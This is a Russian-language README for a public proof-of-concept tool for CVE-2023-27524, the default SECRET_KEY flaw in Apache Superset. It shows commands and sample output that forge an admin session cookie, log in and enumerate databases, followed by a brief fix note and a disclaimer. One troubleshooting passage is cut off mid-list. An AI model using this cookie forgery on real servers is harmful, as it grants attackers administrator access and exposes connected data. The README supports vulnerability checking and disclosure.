
Базовый PoC для CVE-2023-27524: Небезопасная конфигурация по умолчанию в Apache Superset
Скрипт для проверки, работает ли сервер Apache Superset с небезопасной конфигурацией по умолчанию (CVE-2023-27524). Скрипт проверяет, подписаны ли сессионные cookie сервера Superset какими-либо известными по умолчанию Flask SECRET_KEY.
Флаг --validate может быть использован для проверки эксплуатации путем перечисления баз данных с помощью API Superset.
Более подробно здесь: https://www.horizon3.ai/cve-2023-27524-insecure-default-configuration-in-apache-superset Продолжение: https://www.horizon3.ai/apache-superset-part-ii-rce-credential-harvesting-and-more/
% python3 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate] [--timeout TIMEOUT]
optional arguments:
-h, --help показать это сообщение и выйти
--url URL, -u URL Базовый URL экземпляра Superset
--id ID ID пользователя для подделки сессионного cookie, по умолчанию=1
--validate, -v Проверить вход в систему
--timeout TIMEOUT, -t TIMEOUT
Время ожидания перед использованием поддельного cookie, по умолчанию=5с
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088
Got session cookie: eyJjc3JmX3Rva2VuIjoiZDBiYWI5ZmU0YTRjOWFiM2ZkMjc2YjA2ZDZiNWE0MDZmZmNkN2JkOCIsImxvY2FsZSI6ImVuIn0.ZEc0tw.X6y_rTie0yMP5oTFC6KNq8Me9ek
Decoded session cookie: {'csrf_token': 'd0bab9fe4a4c9ab3fd276b06d6b5a406ffcd7bd8', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc0tw.xmzJjq757QujOpk65jK0dLgCSDg
% python3 CVE-2023-27524.py -u http://10.0.220.200:8088 --validate
Got session cookie: eyJjc3JmX3Rva2VuIjoiMTY0ZWExNWJlMDhmNWM2ZmZmOGFhNTExZThhMjUzYjM1YWY5MTdlNiIsImxvY2FsZSI6ImVuIn0.ZEc07w.CAkEJ7AtDlpfvVok-w0JQVcJqa0
Decoded session cookie: {'csrf_token': '164ea15be08f5c6fff8aa511e8a253b35af917e6', 'locale': 'en'}
Superset Version: 2.0.1
Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET'
Forged session cookie for user 1: eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZEc07w.fOAFW0_5gLUTkIbeR_5AqEz2DoU
Sleeping 5 seconds before using forged cookie to account for time drift...
Got 302 on login, forged cookie appears to have been accepted
Enumerating databases
Found database examples
Found database PostgreSQL
Done enumerating databases
Если скрипт обнаруживает используемый SECRET_KEY, но не может подтвердить эксплуатацию, это может быть из-за:
--id, чтобы задать конкретный user_id, если вы его знаете)Следуйте инструкции здесь, чтобы сгенерировать и настроить Flask SECRET_KEY. Инструмент CLI superset можно использовать для ротации SECRET_KEY, чтобы сохранить существующие данные подключения к базе данных.
Данное программное обеспечение создано исключительно в целях академических исследований и разработки эффективных методов защиты и не предназначено для использования для атак на системы, за исключением случаев явного разрешения. Разработчики проекта не несут ответственности за неправильное использование программного обеспечения. Используйте ответственно.